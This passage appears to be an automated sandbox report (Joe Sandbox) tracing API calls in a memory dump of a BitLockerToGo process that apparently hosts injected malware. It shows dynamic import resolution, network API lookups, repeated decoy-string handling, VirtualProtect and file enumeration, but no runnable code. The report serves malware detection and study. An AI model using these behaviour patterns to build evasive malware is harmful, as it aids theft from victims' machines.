GetProcAddress.KERNEL32(758D0000,035552B8), ref: 0301A2E3
GetProcAddress.KERNEL32(758D0000,03555670), ref: 0301A2FC
GetProcAddress.KERNEL32(758D0000,03555550), ref: 0301A314
GetProcAddress.KERNEL32(758D0000,035505A8), ref: 0301A32C
GetProcAddress.KERNEL32(76BE0000,03555270), ref: 0301A352
GetProcAddress.KERNEL32(76BE0000,035556D0), ref: 0301A36A
GetProcAddress.KERNEL32(76BE0000,03554F30), ref: 0301A382
GetProcAddress.KERNEL32(76BE0000,03555150), ref: 0301A39B
GetProcAddress.KERNEL32(76BE0000,03555168), ref: 0301A3B3
GetProcAddress.KERNEL32(76BE0000,03555410), ref: 0301A3CB
GetProcAddress.KERNEL32(76BE0000,035553F0), ref: 0301A3E4
GetProcAddress.KERNEL32(76BE0000,03555198), ref: 0301A3FC
GetProcAddress.KERNEL32(76BE0000,03555240), ref: 0301A414
GetProcAddress.KERNEL32(75670000,035554F0), ref: 0301A436
GetProcAddress.KERNEL32(75670000,035551B0), ref: 0301A44E
GetProcAddress.KERNEL32(75670000,03555228), ref: 0301A466
GetProcAddress.KERNEL32(75670000,03555258), ref: 0301A47F
GetProcAddress.KERNEL32(75670000,035552A0), ref: 0301A497
GetProcAddress.KERNEL32(759D0000,03555430), ref: 0301A4B8
GetProcAddress.KERNEL32(759D0000,035556B0), ref: 0301A4D1
GetProcAddress.KERNEL32(76D80000,03555710), ref: 0301A4F2
GetProcAddress.KERNEL32(76D80000,03555300), ref: 0301A50A
GetProcAddress.KERNEL32(6F5C0000,035554B0), ref: 0301A530
GetProcAddress.KERNEL32(6F5C0000,035555B0), ref: 0301A548
GetProcAddress.KERNEL32(6F5C0000,035557D0), ref: 0301A560
GetProcAddress.KERNEL32(6F5C0000,03555378), ref: 0301A579
GetProcAddress.KERNEL32(6F5C0000,03555630), ref: 0301A591
GetProcAddress.KERNEL32(6F5C0000,035555D0), ref: 0301A5A9
GetProcAddress.KERNEL32(6F5C0000,03555730), ref: 0301A5C2
GetProcAddress.KERNEL32(6F5C0000,03555450), ref: 0301A5DA
GetProcAddress.KERNEL32(6F5C0000,InternetSetOptionA), ref: 0301A5F1
GetProcAddress.KERNEL32(6F5C0000,HttpQueryInfoA), ref: 0301A607
GetProcAddress.KERNEL32(75480000,03555348), ref: 0301A629
GetProcAddress.KERNEL32(75480000,03554EF0), ref: 0301A641
GetProcAddress.KERNEL32(75480000,03555330), ref: 0301A659
GetProcAddress.KERNEL32(75480000,03555318), ref: 0301A672
GetProcAddress.KERNEL32(753B0000,035556F0), ref: 0301A693
GetProcAddress.KERNEL32(6FE80000,035552E8), ref: 0301A6B4
GetProcAddress.KERNEL32(6FE80000,03555470), ref: 0301A6CD
GetProcAddress.KERNEL32(6FE80000,03555360), ref: 0301A6E5
GetProcAddress.KERNEL32(6FE80000,03555390), ref: 0301A6FD

Strings

InternetSetOptionA, xrefs: 0301A5E5
HttpQueryInfoA, xrefs: 0301A5FC

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 35b3f4558264589b7a6332e0c426950a34baf5fc7b6dd9b03ac8420b76eb69c7
Instruction ID: 1fa9f6cd11fe135e133a047c1b2faa795dcac146f6700dc2c6bd4c35e516f75f
Opcode Fuzzy Hash: 35b3f4558264589b7a6332e0c426950a34baf5fc7b6dd9b03ac8420b76eb69c7
Instruction Fuzzy Hash: 3F62F9BD6C1240AFD764FFA8FA8C96A3BF9F78C601714C51AA60AC724CD7399441DB60

Function 030045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 030045CC
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 030045D7
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 030045E2
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 030045ED
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 030045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,030169FB), ref: 03004607
RtlAllocateHeap.NTDLL(00000000,?,0000000F), ref: 0300460E
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 0300461C
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 03004627
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 03004632
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 0300463D
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 03004648
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 0300465C
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 03004667
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 03004672
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 0300467D
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,030169FB), ref: 03004688
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030046B1
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030046BC
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030046C7
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030046D2
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030046DD
strlen.MSVCRT ref: 030046F0
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03004718
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03004723
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0300472E
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03004739
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03004744
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03004754
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0300475F
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0300476A
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03004775
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03004780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0300479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0300462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0300474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0300475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0300466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0300477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0300473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0300471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03004729

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 9d3a8e8a888485c1af6136d5368c487286da4919097254566e2ee7ab793dc606
Instruction ID: b31fc57ba8df7325a5c4c6e6ee61ff40204990f654a00cfb6f568425f607485e
Opcode Fuzzy Hash: 9d3a8e8a888485c1af6136d5368c487286da4919097254566e2ee7ab793dc606
Instruction Fuzzy Hash: 3241CC71643214EFC71EEFE4EC8DA5DBF70AB49716B508040FA229D145CAB8D581DB3A

Function 03007710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,030161C4,?), ref: 03007724
RtlAllocateHeap.NTDLL(00000000,?,030161C4), ref: 0300772B
lstrcat.KERNEL32(?,03551AE8), ref: 030078DB
lstrcat.KERNEL32(?,?), ref: 030078EF
lstrcat.KERNEL32(?,?), ref: 03007903
lstrcat.KERNEL32(?,?), ref: 03007917
lstrcat.KERNEL32(?,03556288), ref: 0300792B
lstrcat.KERNEL32(?,03556030), ref: 0300793F
lstrcat.KERNEL32(?,03556048), ref: 03007952
lstrcat.KERNEL32(?,035562A0), ref: 03007966
lstrcat.KERNEL32(?,035563D8), ref: 0300797A
lstrcat.KERNEL32(?,?), ref: 0300798E
lstrcat.KERNEL32(?,?), ref: 030079A2
lstrcat.KERNEL32(?,?), ref: 030079B6
lstrcat.KERNEL32(?,03556288), ref: 030079C9
lstrcat.KERNEL32(?,03556030), ref: 030079DD
lstrcat.KERNEL32(?,03556048), ref: 030079F1
lstrcat.KERNEL32(?,035562A0), ref: 03007A04
lstrcat.KERNEL32(?,03556440), ref: 03007A18
lstrcat.KERNEL32(?,?), ref: 03007A2C
lstrcat.KERNEL32(?,?), ref: 03007A40
lstrcat.KERNEL32(?,?), ref: 03007A54
lstrcat.KERNEL32(?,03556288), ref: 03007A68
lstrcat.KERNEL32(?,03556030), ref: 03007A7B
lstrcat.KERNEL32(?,03556048), ref: 03007A8F
lstrcat.KERNEL32(?,035562A0), ref: 03007AA3
lstrcat.KERNEL32(?,035564A8), ref: 03007AB6
lstrcat.KERNEL32(?,?), ref: 03007ACA
lstrcat.KERNEL32(?,?), ref: 03007ADE
lstrcat.KERNEL32(?,?), ref: 03007AF2
lstrcat.KERNEL32(?,03556288), ref: 03007B06
lstrcat.KERNEL32(?,03556030), ref: 03007B1A
lstrcat.KERNEL32(?,03556048), ref: 03007B2D
lstrcat.KERNEL32(?,035562A0), ref: 03007B41
lstrcat.KERNEL32(?,03556510), ref: 03007B55
lstrcat.KERNEL32(?,?), ref: 03007B69
lstrcat.KERNEL32(?,?), ref: 03007B7D
lstrcat.KERNEL32(?,?), ref: 03007B91
lstrcat.KERNEL32(?,03556288), ref: 03007BA4
lstrcat.KERNEL32(?,03556030), ref: 03007BB8
lstrcat.KERNEL32(?,03556048), ref: 03007BCC
lstrcat.KERNEL32(?,035562A0), ref: 03007BDF
lstrcat.KERNEL32(?,03556578), ref: 03007BF3
lstrcat.KERNEL32(?,?), ref: 03007C07
lstrcat.KERNEL32(?,?), ref: 03007C1B
lstrcat.KERNEL32(?,?), ref: 03007C2F
lstrcat.KERNEL32(?,03556288), ref: 03007C43
lstrcat.KERNEL32(?,03556030), ref: 03007C56
lstrcat.KERNEL32(?,03556048), ref: 03007C6A
lstrcat.KERNEL32(?,035562A0), ref: 03007C7E

Part of subcall function 030075D0: lstrcat.KERNEL32(35851020,030217FC), ref: 03007606
Part of subcall function 030075D0: lstrcat.KERNEL32(35851020,00000000), ref: 03007648
Part of subcall function 030075D0: lstrcat.KERNEL32(35851020, : ), ref: 0300765A
Part of subcall function 030075D0: lstrcat.KERNEL32(35851020,00000000), ref: 0300768F
Part of subcall function 030075D0: lstrcat.KERNEL32(35851020,03021804), ref: 030076A0
Part of subcall function 030075D0: lstrcat.KERNEL32(35851020,00000000), ref: 030076D3
Part of subcall function 030075D0: lstrcat.KERNEL32(35851020,03021808), ref: 030076ED
Part of subcall function 030075D0: task.LIBCPMTD ref: 030076FB

lstrcat.KERNEL32(?,03554CD0), ref: 03007E0B
lstrcat.KERNEL32(?,035557F0), ref: 03007E1E
lstrlen.KERNEL32(35851020), ref: 03007E2B
lstrlen.KERNEL32(35851020), ref: 03007E3B

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 44970ceb30f5714f718d3f530e25b4803907da851984fa2a823a70fd7642367f
Instruction ID: 2fb8d40ff232ab7fc69ee8198340c15a1edbacbead3fa4d6ba5f2c81588c929a
Opcode Fuzzy Hash: 44970ceb30f5714f718d3f530e25b4803907da851984fa2a823a70fd7642367f
Instruction Fuzzy Hash: D732F1BAD40314ABDB25FBA0EC88DDE737CBB44601F448A98E21D66084EB74E785CF51

Function 0300BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

FindFirstFileA.KERNEL32(00000000,?,03020B32,03020B2B,00000000,?,?,?,030213F4,03020B2A), ref: 0300BEF5
StrCmpCA.SHLWAPI(?,030213F8), ref: 0300BF4D
StrCmpCA.SHLWAPI(?,030213FC), ref: 0300BF63
